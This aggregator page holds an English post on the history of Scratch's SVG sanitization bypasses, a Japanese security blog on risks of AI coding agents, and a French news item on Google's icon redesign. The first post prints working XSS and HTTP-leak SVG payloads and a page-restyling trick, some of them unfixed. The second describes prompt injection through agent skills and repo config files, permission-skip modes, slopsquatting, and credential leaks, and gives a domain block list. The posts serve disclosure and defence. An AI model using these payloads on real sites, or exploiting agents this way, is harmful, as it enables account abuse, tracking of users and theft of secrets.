Roastidio.us Tagged with web

The woes of sanitizing SVGs

Tue, 28 Apr 2026 05:54:22 +0000

Scratch has a long history of SVG-related vulnerabilities. The source of these is that Scratch parses user-generated (ie. attacker-controlled) content into an <svg> element and appends it into the main document for various operations (eg. measuring SVG bounding box in a more reliable way than viewbox or width/height).

No matter how briefly the SVG remains in the main document, this is an inherently unsafe operation. Scratch's approach to making this safe has been to build increasingly complex infrastructure around parsing the SVG and the markup within to remove dangerous parts.

I think Scratch's approach to SVG sanitization is doomed. To explain, we have to take a trip through the history of SVG sanitization in Scratch to see how well it has worked so far.

2019: XSS via <script> tag

In 2019, a few months after the initial release of Scratch 3, Scratch discovered that SVGs can contain <script> tags that Scratch would cause to be executed when the SVG loads. This is known as an XSS.

In Scratch terms, an XSS allows an attacker to take actions on behalf of anyone that loads their project. For example, the attacker can post comments, delete projects, or otherwise try to take over the victim's account. In Scratch Desktop, XSS is elevated to arbitrary code execution because Scratch Desktop enables Electron's dangerous Node.js integration feature. (TurboWarp Desktop has not enabled that feature since v0.2.0 from March 2021)

Example from Scratch's test suite:

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />
  <script type="text/javascript"><![CDATA[
      alert('from the svg!')
  ]]></script>
</svg>

This was fixed by using a regular expression to remove script tags.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2020: XSS via oversights in previous fix (CVE-2020-7750)

In 2020, apple502j discovered that XSS is still possible. It turns out that the previous fix is utterly defective and can be bypassed by capitalizing <SCRIPT> because the regex is case-sensitive, among several other ways to bypass it. Even if the regex were implemented correctly, it would still not work because there are other ways to embed JavaScript in an SVG. For example, one can use an inline event handler:

This was fixed by using DOMPurify to remove scripts from the SVG before scratch-svg-renderer appends it into the document.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2022: HTTP leak via <image> href

In 2022, it was discovered that using the href property on an <image> element, an attacker can create an SVG that will invoke an external request when it is loaded. It turns out that while DOMPurify removes executable code, it does not protect against HTTP leaks because "there are too many ways of doing that and our tests showed that it cannot be done reliably".

In Scratch terms, an HTTP leak means that a Scratch user can log the IP of anyone that loads their project, possibly revealing information such as location or school district. The victim would not need to click on any links; the IP log happens just by loading the project. Scratch seems to consider this a security bug, and I agree.

Example:

This was fixed by adding DOMPurify hooks to remove href properties from all elements if the URL refers to a remote website.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2023: HTTP leak via CSS @import

In 2023, it was discovered that using a CSS @import statement inside of a <style> element, an attacker could create a project that invokes external requests when the project loads. Example:

This was fixed by integrating a CSS parser written in JavaScript to remove dangerous parts of the CSS. They would parse all stylesheets contained in SVGs, remove any @import statements, and convert the CSS back to a string if any changes were made so that the dangerous stuff is removed.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2024: XSS via Paper.js

In 2024, I discovered an XSS in Paper.js, a library Scratch uses in the costume editor. It turns out that while Scratch sanitized SVGs before working on them in scratch-svg-renderer, unsanitized SVGs were still being passed to Paper.js. This has largely the same impact as the 2020 scratch-svg-renderer XSS, but occurs when using the costume editor instead of when initially opening a project. Example:

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" data-paper-data="any invalid JSON">
    <foreignObject x="1" y="1" width="1" height="1">
        <img
            xmlns="http://www.w3.org/1999/xhtml"
            src="data:any invalid URL"
            onerror="alert(1)"
        />
    </foreignObject>
</svg>

This was somewhat fixed on an extremely delayed timeline by extending the existing SVG sanitization code to run when loading an SVG, not just when processing it in scratch-svg-renderer. This means that Paper.js will only receive SVGs that have already been sanitized.

I say "somewhat fixed" because I'm not sure if that sanitization ever runs for server-downloaded SVGs. Scratch support told me they "have protections against this that are handled on our server side" which may make that redundant. I have never seen any evidence of such protections while developing proof-of-concepts, but maybe they are real.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2025: HTTP leak via CSS url()

In 2025, it was discovered that using url() inside of certain CSS rules, an attacker can create an SVG that will invoke an external request when it is loaded. Examples:

This was fixed by substantially expanding the SVG sanitization code to also search for any usage of url() and remove any styles or attributes referencing external URLs.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2026: HTTP leak via several bugs in the previous code

In 2026, it was discovered that using url() inside of certain CSS rules, it is still possible for an attacker to create an SVG that will invoke an external request when it is loaded. It turns out there were at least three unique bugs that each allowed an HTTP leak:

Did not account for CSS allowing one to write out url(...) using escape codes
Did not handle a style attribute having more than one url(...) inside it, where the first one is safe but the second one is not
Did not handle url() defined in a CSS variable and referenced via var(--name)

Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <circle fill="\75\72\6c(https://example.com/ping)" />
    <rect style="/* url(#safe_url) */ background-image: url(https://example.com/ping)" />
    <style>
        :root {
            --example: url(https://example.com/ping);
        }
        .img {
            background-image: var(--example);
        }
    </style>
    <rect class="img" />
</svg>

This was fixed by adding a substantial amount of additional complexity around code that was already way too complex.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2026: Full page restyling via long transitions

In 2026, it was discovered that through clever use of very long transitions and forcing the browser to restyle all elements, an attacker can apply arbitrary styles to the full Scratch page that last until refresh. Most uses of this have been "fun" things, but here's a few ideas about more evil things you might be able to do:

Hiding the report button.
Making the like/favorite buttons cover the entire page, so that users are tricked into clicking them.
Display text telling the user that they need to open a website in a new tab to "verify" their account (some phishing page). Users are likely to trust the instructions because the message is coming from the real scratch.mit.edu.

Example project (not mine): https://scratch.mit.edu/projects/1299571218/

This will probably get fixed at some point, but today what you'll see is this:

This project uses two SVGs. The first one is the "trigger":

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect x="0" y="0" width="200" height="100" fill="#111"></rect>
  <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">
    Trigger
  </text>

  <style>
    /* Force browser to recalc styles to activate first SVG */
    *, * *, * * *, * * * * {
      transform: translateX(1px) scale(10000) rotateY(45deg) perspective(1cm) !important;
      transition: all 9999s ease !important;
      filter: blur(0px) !important;
    }
  </style>
</svg>

The second one contains the styles to display:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect x="0" y="0" width="200" height="100" fill="#111"></rect>
  <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">
    Styles
  </text>

  <style>
    /* Global background blue */
    * {
      background-color: blue !important;
      color: white !important;
    }

    /* Project instructions/description styling */
    .project-description, .instructions-container {
      background-color: yellow !important;
      color: black !important;
      border: 10px solid red !important;
      transform: scale(1.1) !important;
    }
  </style>
</svg>

I won't pretend to fully understand what's going on here or why it works non-deterministically, but my general understanding is:

The trigger SVG applies transform and filter to every element in the document to forcibly make the browser recompute all styles right away, applying styles from the other SVG.
The trigger SVG applies a very long transition so that when the other SVG is removed, the styles will stick around for the duration of the "transition"

This is not fixed.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

2026: HTTP leak via image-set()

I reported this one to Scratch in 2025. They didn't fix it, so whatever, I'll disclose it here. Any reasonable disclosure period lapsed 6 months ago.

Instead of using url(), an attacker can use image-set() to create an SVG that will invoke an external request when it is loaded. Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <!--
        image-set(...) can cause external resources to be requested without using url() at all.
    -->
    <style>
        .image-set-with-string-url {
            background-image: image-set("https://example.com/ping" 1x);
        }
    </style>
    <rect class="image-set-with-string-url" />

    <!--
        image-set(url(...)) works the same as image-set(...).
        This already gets blocked by the existing sanitization.
    -->
    <style>
        .image-set-with-inner-url-function {
            background-image: image-set(url(https://example.com/ping) 1x);
        }
    </style>
    <rect class="image-set-with-inner-url-function"></rect>

    <!--
        image-set() can also be used in inline style attributes.
    -->
    <rect style="background-image: image-set('https://example.com/ping' 1x)" />
</svg>

This is not fixed.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

20XX: HTTP leak via new CSS features

I also reported this one to Scratch in 2025. This bug actually doesn't work today, but will in the future if browsers ever implement all of CSS Units Level 4 or CSS Images Level 4. Today, Ladybird is the only browser to implement either of these, but major browsers could implement them someday as well.

Instead of using url(), an attacker can use src() or image() to create an SVG that will invoke an external request when it is loaded. Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <!--
        Everything in this file relies on features that are defined in the browser specs, but not yet implemented in any browser.
        In theory, future browsers might initiate requests when they see these styles.
    -->

    <!--
        CSS Units Level 4 defines src(...) as an alternative to url(...).
        Unlike url(), src()'s URL can be any expression, not just a constant string.
        Reference: https://www.w3.org/TR/css-values-4/#example-a2ee15a6
        Not implemented by any major browser today. (Only implemented in the experimental Ladybird browser)
    -->
    <style>
        .src-constant {
            background: src('https://example.com/ping');
        }
        .src-variable {
            --url: 'https://example.com/ping';
            background: src(var(--url));
        }
    </style>
    <rect class="src-constant" />
    <rect class="src-variable" />

    <!--
        CSS Images Level 4 defines image() as an alternative to url() for images.
        Reference: https://www.w3.org/TR/css-images-4/#image-notation
        Not implemented by any major browser today.
    -->
    <style>
        .image {
            background: image('https://example.com/ping', black);
        }
    </style>
    <rect class="image" />

    <!-- Same as above examples, but using inline styles -->
    <rect style="background: src('https://example.com/ping');" />
    <rect style="--url: 'https://example.com/ping'; background: src(var(--url));" />
    <rect style="background: image('https://example.com/ping', black);" />
</svg>

This is not fixed.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

This is unsustainable

Stacking more and more complexity into sanitization is clearly a doomed approach. We are more than 5 major revisions deep and yet there are still known holes. People are actively sharing projects on the Scratch website bypassing SVG sanitization. And the moment browsers decide to implement the latest CSS specs, even more holes will open up.

Furthermore, not all of these problems have clear solutions. For full page styling, both SVGs seem completely benign: there is no JavaScript or references to external resources. The fix would likely be to remove transition styles since the transitions would never run in Scratch anyway, but are you sure that's sufficient? Will you remember to also remove all the vendor-prefixed versions of transition? What about animation styles?

Some other possible cases that might allow more bypasses in the future:

css-tree (the library Scratch uses to parse CSS) and the real CSS parsers in browsers might not completely match. If so, css-tree might parse CSS such that everything looks fine and thus nothing gets removed, but then the browser's real parser does recognize external content.
Advanced new CSS features such @property or native nesting that css-tree versions might not be able to meaningfully parse without constant updates.
Browsers can always add new functions that can reference external content as they have already done with image-set() and the spec implies will happen for src() and image(). How will you keep up with the constant change in these specs to evaluate every new function and see if it could somehow allow referencing external content?

An alternative

TurboWarp (a Scratch fork I work on) was unaffected by the 2026 HTTP leaks and full page restyling issue. This isn't because I found all the clever ways for an SVG to do something bad; in fact I actually deleted the CSS sanitization code entirely to make packaged projects 400KB smaller.

I implemented an alternative approach of sandboxing the SVG inside of an iframe. First, we set up an iframe with a sandbox property of allow-same-origin. This will block script execution inside the iframe, but still let us interact with the contents inside.

Second, we set up the iframe with the following hardcoded HTML:

The inline Content-Security-Policy is set up to block all scripts and only allow loading safe resources from safe data URLs. We also still use DOMPurify to remove obviously evil things from the SVG. We then put the iframe into the document offscreen somewhere so that the measurement APIs Scratch needs will still work.

This approach gives us some very nice properties:

The browser uses its pre-existing code to do the hard part for us.

TurboWarp doesn't need to know about all the ways for an SVG to make a request. Your browser already knows this and will enforce it for any new APIs that get added.

Real-world CSP implementations are not perfect and have holes. However, those holes generally are weird edge cases that require the attacker to already be executing JavaScript in some way. Those vulnerabilities are also considered browser security issues so they have bug bounties attached to them.
The SVG can't affect the main document.

Consider the case of the full page restyling. Because the SVG is trapped inside of an iframe, the only thing it can restyle is the iframe. The styles in the iframe do not matter, so that's perfectly fine.

You can find our code here:

Maybe you can do some other interesting stuff with shadow DOM or other web APIs, but we found that the iframe is working fine for us.

The below sections will cover any new issues I become aware of after publication.

2026-04-12: Claude finds HTTP leak via CSS nesting relaxed syntax

After publishing this, I was curious how well current language models are at finding these bugs. I told Claude Opus 4.6 to clone the scratch-editor repo, look at the recent SVG renderer changes, and see if there were any holes. Results were interesting:

Claude discovered on its own that image-set(...) is not sanitized and can cause HTTP leaks.
Claude discovered a new issue not described in the original version of this post.

The bug involves CSS nesting, which can appear in two forms. The nested style can prefix the selector with an & or instead just not prefix it (the latter being known as "relaxed" syntax). Modern browsers interpret both of the below identically.

css-tree is capable of parsing the &-prefixed version into a meaningful syntax tree that Scratch can sanitize. However, it turns out that css-tree does not know how to parse the relaxed version. The entire div { ... } block is parsed as a "raw text" node which Scratch's code will not sanitize. Full example SVG:

Earlier in this post, I mentioned that "css-tree and the real CSS parsers in browsers might not completely match". This is a real-world example of that kind of bug allowing CSS to bypass sanitization. Note that css-tree currently has 48 open issues and certainly many more unknown ones. I believe depending on css-tree to be a perfect parser is a hopeless path that will continue to result in more vulnerabilities. TurboWarp's SVG sandbox fixed this bug before I even knew it existed.

This is not fixed. The css-tree issue for this bug has been open since December 2023.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

AIオタクのセキュリティエンジニアが伝えたい、バイブコーディングのセキュリティリスク7選 - GMO Flatt Security Blog

Tue, 28 Apr 2026 05:22:22 +0000

はじめに

こんにちは。GMO Flatt Security株式会社セキュリティエンジニア(兼Claude Codeオタク)の石川（@ryusei_ishika）です。

Claude CodeやCursorなどのAIエージェントを活用したバイブコーディングが急速に広まっています。私自身、社内ではClaude Codeのリリース（ほぼ毎日）のたびにそのリリースノートの重要なポイントを解説しているほか、Biz職向けに「バイブコーディング講座」を実施するなど、社内でのAI活用の普及にも取り組んでいます*1。

リリースノートが公開されていると、出勤後すぐに便利な機能を解説する石川

昨今、AIエージェントを日常的に使い込むなかで、従来の開発では起きにくかったセキュリティリスクが顕在化しつつあると感じています。例えば、先日AIエージェント経由で.envの認証情報が漏洩し、外部サービスのアカウントが乗っ取られた事例もSNS上で報告され、大きな反響を呼びました。

この記事では、AIエージェントを用いた開発時のセキュリティリスクを7つ取り上げ、具体的な攻撃シナリオと対策を紹介しながら、開発現場で今日から実践できる内容にまとめました。バイブコーディングを始めた方はもちろん、普段からAIエージェントを使って開発している方にも参考になれば幸いです。

はじめに
なぜバイブコーディングでセキュリティリスクが高まるのか
よくない操作 — 開発時における任意コード実行のリスク
- 任意コード実行に対する共通の軽減策
- リスク1. 悪意あるAgent Skillの実行
- リスク2. 悪意のある設定ファイルが含まれるOSSレポジトリ
- リスク3. サードパーティMCPサーバ
- リスク4. AIが生成した危険な操作へのユーザーの承認
- リスク5. ソフトウェアサプライチェーン攻撃
よくない持ち出し — 開発時における情報漏洩のリスク
- リスク6. 意図しない外部ドメインへの通信
- リスク7. 機密情報の漏洩
よくない出荷 — 開発段階で防げるリリース後のリスク
終わりに

なぜバイブコーディングでセキュリティリスクが高まるのか

具体的なリスクを紹介する前に、なぜAIエージェントを使った開発でセキュリティリスクが高まるのか、その背景を整理しておきます。

バイブコーディングで利用されるAIエージェントは、シェルの実行やファイルの編集、外部サービスとの通信など、開発環境に対する幅広い操作権限を持っています。こうした環境で起こりうる脅威は、大きく3つに分類できます。

よくない操作 — 意図しないコマンド実行やファイル破壊などの内部操作
よくない持ち出し — 認証情報や機密データの外部への漏洩
よくない出荷 — 脆弱性を含んだコードのリリース

この3つの分類自体は、人間が開発する場合と変わりません。違いはその「起こりやすさ」にあります。

LLMは「やってはいけないこと」を暗黙に理解する能力を持たず、ミスへの恐れやキャリアへの影響といった人間が持つ抑止力もありません。それにも関わらず、開発者はAIエージェントを複数同時に動かします*2。バイブコーディングの開発環境は、いわば「悪気もないが責任能力もない内部脅威が大量発生している状態」と言えます。

引用: https://youtu.be/FWPJISY0zzs?si=x_SRQVKRc5Y0PTy7

この記事では「よくない操作」を任意コード実行（リスク1〜5）、「よくない持ち出し」を情報漏洩（リスク6〜7）として紹介し、最後に「よくない出荷」としてリリース後のリスクにも触れていきます。

よくない操作 — 開発時における任意コード実行のリスク

任意コード実行に対する共通の軽減策

任意コード実行とは、コンピュータ上で意図しない様々な操作がされてしまう(マルウェア実行・認証情報の漏洩など)ような攻撃手法です。このリスクは一番発生しやすく、かつ発生した時の影響度も一番高いリスクです。この後様々なパターンをご紹介しますが、どのパターンにも共通する対策・リスク軽減手法があります。この記事を読んで「バイブコーディングのセキュリティリスクってちょっと怖いな...」と感じたら、これだけは優先して実施 してもらえたらと思います。

任意コード実行のリスクに対しては、サンドボックス環境の利用が最も効果的な軽減策の一つです。Claude Sandboxやe2b.dev、Docker Sandboxesなどを活用すれば、危険なコードが実行されてもホストマシンへの影響を限定できます。

ただし、いずれの手法も開発するプロダクトの一部の機能が使用できなくなる場合があります。また、場合によってはソースコードの改ざんや漏洩などを防ぐのは難しいこと、コンテナエスケープ等の脆弱性によるバイパスの可能性がある点にも注意が必要です。さらに、Claude Codeのサンドボックス(/sandbox機能)では、allowUnsandboxedCommandsをfalseに設定しないと、ユーザーが承認した場合に一部コマンドがサンドボックス外で実行されてしまう点にも気をつけてください。

リスク1. 悪意あるAgent Skillの実行

Claude Codeのplugin marketplaceやCursorのmarketplace、VercelのThe Agent Skills Directoryなど、コミュニティが作成したスキルを簡単にインポートできる仕組みが広まっています。これらの機能は便利な一方で、その性質上、他人が作成したプロンプトを自分のPC上で実行しているのと同義です。

スキルは実行時にLLMのコンテキストへ動的に注入されるプロンプトであり、LLMはその内容をある程度信頼された指示として扱います。よって悪意ある内容が含まれている場合にプロンプトインジェクション攻撃として機能し、意図しないコマンドが実行されるおそれがあります。実際、近年公開された論文でも主要マーケットプレイスから悪意のあるスキルが多数公開されていたことが報告されています。

さらに、多くのスキルマーケットは署名検証やマルウェアスキャンといった仕組みが十分に整備されていません*3。そのため、スキルの導入時にはその内容の"注意力"が求められます。

対策としては、サンドボックスの導入のほかに、中身を自分で理解・評価できないスキルは使わないことが基本です。Anthropic自身も公式ドキュメントで警告している通り、公式マーケットや自作のスキルのみを利用し、やむを得ず外部のスキルを利用する場合はプロンプトの内容を十分に丁寧に注意深く確認してください。

リスク2. 悪意のある設定ファイルが含まれるOSSレポジトリ

OSSリポジトリには、.claude/commands/や.cursor/rules/、CLAUDE.mdといったAIエージェント向けの設定ファイルが含まれていることがあります。git cloneした直後にAIエージェントを起動すると、これらの設定ファイルが自動的に読み込まれ、悪意ある指示が実行される恐れがあります。

このリスクが特に顕在化しやすいのは、次のようなケースです。

1. 全権限スキップモード（Claude Codeの--dangerously-skip-permissions相当）: すべての権限確認をスキップするこのオプションを有効にした状態でクローン直後のリポジトリを開くと、悪意ある指示が一切確認なくコンテキストに取り込まれます。

2. 自動承認モード（--permission-mode auto相当）: 自動承認モードでも、ユーザーの目を通さずにコマンドが実行されます。--dangerously-skip-permissions ほど無制限ではないものの、設定ファイルを通じた悪意ある指示が通り抜けるリスクがあります。

3. ツール許可設定（permissions.allow相当）: allowリストは「指定したツール/コマンドをプロンプトなしで許可する」設定で、denyやaskと組み合わせて使います。粒度が粗い許可（例: Bash(*)）を設定していると、悪意ある指示経由で任意コマンドが確認なしに実行されてしまいます。また、適切に絞り込んでいても万全ではありません。弊社の記事であるPwning Claude Code in 8 Different Waysでは、Claude Codeのデフォルト許可リストに含まれるsedやsort等の一見無害なコマンドであっても、引数の組み合わせ次第で任意コマンド実行が可能であることが示されています。

対策としては、サンドボックスの導入のほかに、リポジトリ内の設定ファイル（.claude/、.cursorrules、CLAUDE.md等）の内容をAIエージェントの起動前に確認しておくことが効果的です。

リスク3. サードパーティMCPサーバ

MCP（Model Context Protocol）サーバは、AIエージェントに外部ツールやデータソースへのアクセスを提供する仕組みです。サードパーティのMCPサーバを利用する場合、提供元自体に悪意があるケースと、実装に脆弱性があり攻撃者に悪用されるケース(プロンプトインジェクション経由での任意コード実行など)の両方のリスクがあります。

また、MCPサーバはAIエージェントのサンドボックスとは別プロセスとして起動されることが多いため、サンドボックスの保護が適用されないケースがあります。例えば、エージェント自体はサンドボックス内にありますが、MCPサーバはサンドボックス外で起動されており、両者がHTTPで通信しているケースなどがこれにあたります。

対策として、MCPサーバ自体をサンドボックス環境で実行するほかに、MCPサーバの導入時は信頼できる提供元のものに限定して使用してください。その他、MCPサーバの詳細なセキュリティについては、弊社ブログの「MCPにおけるセキュリティ考慮事項と実装における観点（前編）」「MCPにおけるセキュリティ考慮事項と実装における観点（後編）」でも解説しています。

blog.flatt.tech

リスク4. AIが生成した危険な操作へのユーザーの承認

AIエージェントが生成・実行するコードには、意図しない危険な操作が含まれている場合があります。例えば、このようなパターンがあります。

指示した意図に反して、ホームディレクトリの設定ファイルを書き換えたり、プロジェクト外のファイルを削除したりする
「SQLインジェクションができないか検証して」と依頼した際に、LLMがOR 1=1のような副作用のないペイロードではなく、DROP TABLEを含む破壊的ペイロードを生成する
「TerraformでXXのリソースを追加して」と依頼した際に、「一旦全てのリソースを削除してから当該リソースを追加したほうがスムーズです」などと言いながら本番環境の全てのリソースを削除する

対策としては、サンドボックスの導入のほかに、「AIエージェントに本番環境を変更させるような権限を与えない(ステージング環境で実施する)」、「実行するコマンドが何をするコマンドなのかを確認する」などが重要です。特に後者はLLMを使って確認するという方法もあり、例えばClaude CodeのBash Toolは実行するコマンドの下に、それが何をするコマンドなのかを表示してくれます。

3行目の「markdownファイルを〜」のところに実行するコマンドの説明が表示されている

リスク5. ソフトウェアサプライチェーン攻撃

AIエージェントがnpm installやpip installなどを実行する際、悪意あるパッケージが紛れ込むリスクがあります。npmの場合はライフサイクルスクリプト等(例: preinstall)を起点として、自身のPC上で任意のコードが実行されてしまう恐れがあります。

このリスクで特に警戒すべきは、普段から利用している正規パッケージが攻撃者に侵害され、マルウェアを含むバージョンが配布されるケースです。例えば、2025年にはメンテナアカウントの乗っ取りを起点として、axiosやlitellmをはじめ、数多くの広く使われるパッケージが侵害される事例が相次ぎました。こうした攻撃は利用者側に落ち度がなくてもインストール時に成立してしまう点で極めて影響範囲が広く、AIエージェントは人間の目を経ずにnpm install等を実行してしまうため、被害に気付くまでの時間も短くなりがちです。

さらに、AIエージェント固有のリスクとしてSlopsquattingも存在します。LLMは検証をせずに存在しないパッケージ名を生成してしまう場合があり、これを見越してLLMが生成しそうな架空のパッケージ名を先回りしてレジストリに登録しておく手法です。例えば、LLMが(正)@anthropic-ai/claude-codeを(誤)@anthropic/claude-codeのように間違えるだろうと見越して、後者にマルウェアを仕込んでおくといった攻撃が考えられます。

対策としては、開発環境やCI/CD環境をサンドボックス環境で実行することに加え、弊社が提供するTakumi Guardを利用すれば、ブロックリストに登録された危険な依存関係はインストール前にブロックされます。先述のaxiosやlitellmなど、侵害された既知のバージョンもブロックリストに含まれており、正規パッケージの侵害・Slopsquattingのいずれも未然に防ぐことができます。

flatt.tech

よくない持ち出し — 開発時における情報漏洩のリスク

リスク6. 意図しない外部ドメインへの通信

AIエージェントにAPIのサンプルコードを生成させると、リクエスト先のURLにyour-domain[.]com等のプレースホルダのようなドメインが使用されることがあります。例えば、Claude Codeに「fetchリクエストのサンプルコードを書いて」と指示したとき、以下のようなコマンドが出力されることがあります(.を[.]に変更しています)。

curl -X GET "https://your-domain[.]com/path/to?id=123" \
  -H "Authorization: Bearer YOUR_ACCESS_TOKEN"

一見すると無害なプレースホルダに見えますが、your-domain[.]comは実在する第三者のドメインです(※このサイトは開かないでください*4 )。

このコードをそのまま実行したり、ターミナルに表示されたリンクをクリックしてしまうと、リクエストボディやヘッダに含まれる認証情報や機密情報（リリース前の機能のパスなども含む）が外部に送信される可能性があります。evil[.]comやattacker[.]comなども同様に実在する第三者のドメインです。

/etc/hostsにこれらのドメインをブロックリストとして追加すれば、意図しない外部通信を防ぐことができます([.]を.に変更してから保存してください)。

# blocklist
127.0.0.1 your-domain[.]com
127.0.0.1 www.your-domain[.]com
127.0.0.1 evil[.]com
127.0.0.1 attacker[.]com

チームや組織単位では、DNSレベルでのブロックも検討してください。また、AIエージェントにサンプルコードを生成させる際は、プレースホルダとしてRFC 2606で予約されている名前解決されないTLD(.example/.test/.invalidなど)を使うようCLAUDE.md等で指示しておくのも有効です*5。

リスク7. 機密情報の漏洩

AIエージェントは動作確認やデバッグの過程で、.envファイルや実行時のエラーメッセージに含まれる認証情報を読み取ることがあります。Claude Codeではsettings.jsonのdenyリストで.env等の読み取りを禁止できますが、これはファイル読み取りツールの制限にすぎません。つまり、スクリプト内でのファイル読み取りや、実行時のエラーメッセージに認証情報が含まれるケースまでは防ぐことができません。読み取られた認証情報は、エージェントの行動を通じて外部に送信されるリスクもあります。例えば、以下のケースでは、エラーメッセージに含まれるAPIキーがそのままWeb検索に送信されてしまいます。

$ node server.js
Error: Authentication failed - Invalid API key (sk-proj-4f8a...7e2d)

↓ エージェントがエラーを解決しようとWeb検索を実行

WebSearch("Authentication failed Invalid API key sk-proj-4f8a7e2d")

対策・軽減策は「LLMのコンテキストに機密情報を入れない」方向と「漏洩時の被害を限定する」方向の2軸で考えます。

1. LLMのコンテキストに機密情報を入れない

方針としては、エージェントの実行環境に平文の機密情報を一切置かないことです。万が一侵害されても、攻撃者が手にするのは参照URIやダミートークンだけにしておきます。

例えば、1Password等のシークレットマネージャーでは、.envにはop://prod/db/passwordのような参照URIを記述しておき、実行時に正規の認証情報へ置換する方法があります。また、.envファイル自体を暗号化するような手法もあります。

API通信についても同様に、エージェントにはダミーのトークンだけを渡し、ローカルプロキシが本物のキーに差し替えてAPIへ転送する構成が有効です。

2. 漏洩時の被害を限定する

AIエージェントには必要最小限の権限のみを持つアカウントのトークンを付与し、有効期限も短く設定しておけば、万が一漏洩しても被害を抑えられます。例えば、AWSであればS3の特定バケットへの読み取りのみを許可した一時的な認証情報を発行してエージェントに渡すといった運用などが考えられます。

よくない出荷 — 開発段階で防げるリリース後のリスク

最後に、リリース後のセキュリティリスクについても触れておきます。AIエージェントが生成するコードにはセキュリティ上の問題が含まれている可能性があり、レビューを経ずにリリースされると本番環境にバグ・脆弱性を持ち込んでしまいます。

こうしたリスクへの対策として、AIエージェントが安全・確実に動くよう、足回り（ツール、フック、テスト、Lintなど）を整える取り組みは「ハーネスエンジニアリング」と呼ばれています。例えばFormatterやLinter、テストフレームワークを導入し、フックやCIで自動実行する構成にしておくのがおすすめです。セキュリティ面では、AIが生成したデッドコードや不要な依存関係が脆弱性を生み出す要因になるため、定期的なリファクタリングも欠かせません。加えて、手動またはCIでの脆弱性診断（静的・動的解析）のほか、Claude Codeの/security-reviewコマンドや弊社が提供するTakumiによるセキュリティレビューも効果的です。

flatt.tech

終わりに

この記事では、バイブコーディングにおけるセキュリティリスクを、任意コード実行と情報漏洩を中心に7つ紹介し、それぞれの攻撃シナリオと対策をまとめました。

危険なことを禁止するのではなく、そもそも機密情報を置かない、漏洩しても被害が限定される設計にする、といった設計思想への転換が、AIエージェント時代のセキュリティ対策において重要になっていくと考えられます。

冒頭でもお伝えした通り、ここまで読んで 「ちょっと怖いな...」と感じた方は、まずサンドボックス環境の導入から始めてみてください。Claude Sandboxやe2b.dev、Docker Sandboxesなどを活用すれば、任意コード実行（リスク1〜5）をまとめて軽減でき、情報漏洩（リスク6〜7）の被害範囲も一定限定できます。万能ではありませんが、何か一つだけ実施するならこれをおすすめします。

この記事が、AIエージェントを使った安全な開発のヒントになればうれしいです。ここまでお読みいただきありがとうございました。

*1:最近はソフトウェアサプライチェーン攻撃の影響もあり、リリースノートはすぐに読むものの、アプデ&検証はリリース後3日くらい空けてから実施しています...

*2:Claude Codeのsubagentのように、メインエージェントが自動的にサブエージェントを呼び出す仕組みもあり、開発者が明示的に起動していなくてもエージェントが並列で動いているケースがあります

*3:全てのマーケットにその機能がないわけではなく、例えば、The Agent Skills Directoryには「Security Audits」機能があります。

*4:このサイトは2026年3月上旬時点ではフィッシングサイトのように見える状態でした。しかし、3月下旬には404 page not foundが表示されていました。

*5:同じく予約済みの example.com および( example.net / example.org )はIANAが実際にDNSレコードを運用しており 93.184.216.34 等に解決されるため、HTTPリクエストを伴うサンプルでは実際の通信が飛んでしまいます。そのため、名前解決されないドメインを使用してください

Nouvelles icônes Google : le design de Gmail et Drive change en 2026 - Numerama

Mon, 27 Apr 2026 13:57:17 +0000

Google préparerait une refonte majeure des icônes de ses applications avec des dégradés inspirés de Gemini et de sa nouvelle identité visuelle. Tous les services pourraient évoluer dans les prochaines semaines.

Selon 9to5Google, Google prépare une refonte complète des icônes de ses applications. Après avoir modifié son propre logo et ceux de Gemini, Google Home, Google Photos ou Google Maps avec un dégradé de couleurs, le géant du web s’apprêterait à étendre sa nouvelle charte graphique à ses services les plus populaires. Gmail, Meet, Calendar ou Drive pourrait complètement changer de style dans les prochains jours… au point de bouleverser plusieurs habitudes.

Gmail, Drive, Meet, Calendar : les nouvelles icônes Google bientôt dévoilées ?

Depuis plusieurs années, Google propose des icônes en plusieurs couleurs. Toutes les applications se ressemblent avec du rouge, du jaune, du bleu et du vert. Sa nouvelle charte viserait à rendre les applications plus identifiables en jouant sur les dégradés sans faire la même chose pour chaque service.

Les futures icônes des applications Google. // Source : 9to5google

Parmi les changements notables, on remarque Google Meet basculerait exclusivement sur du jaune quand Gmail serait majoritairement dominé par le rouge, comme à ses débuts. Drive se contenterait lui de trois couleurs et laisserait le rouge à d’autres services. Les icônes reprennent le style du Material Design de Google, que l’entreprise pousse notamment dans Android.

Google unveils gradient icons soon to be released

Via 9to5Google pic.twitter.com/6RJnYw2MSv
— Interesting AF (@interesting_aIl) April 26, 2026

Ce contenu est bloqué car vous n’avez pas accepté les cookies et autres traceurs. Ce contenu est fourni par Twitter.
Pour pouvoir le visualiser, vous devez accepter l’usage étant opéré par Twitter avec vos données qui pourront être utilisées pour les finalités suivantes : vous permettre de visualiser et de partager des contenus avec des médias sociaux, favoriser le développement et l’amélioration des produits d’Humanoid et de ses partenaires, vous afficher des publicités personnalisées par rapport à votre profil et activité, vous définir un profil publicitaire personnalisé, mesurer la performance des publicités et du contenu de ce site et mesurer l’audience de ce site (en savoir plus)

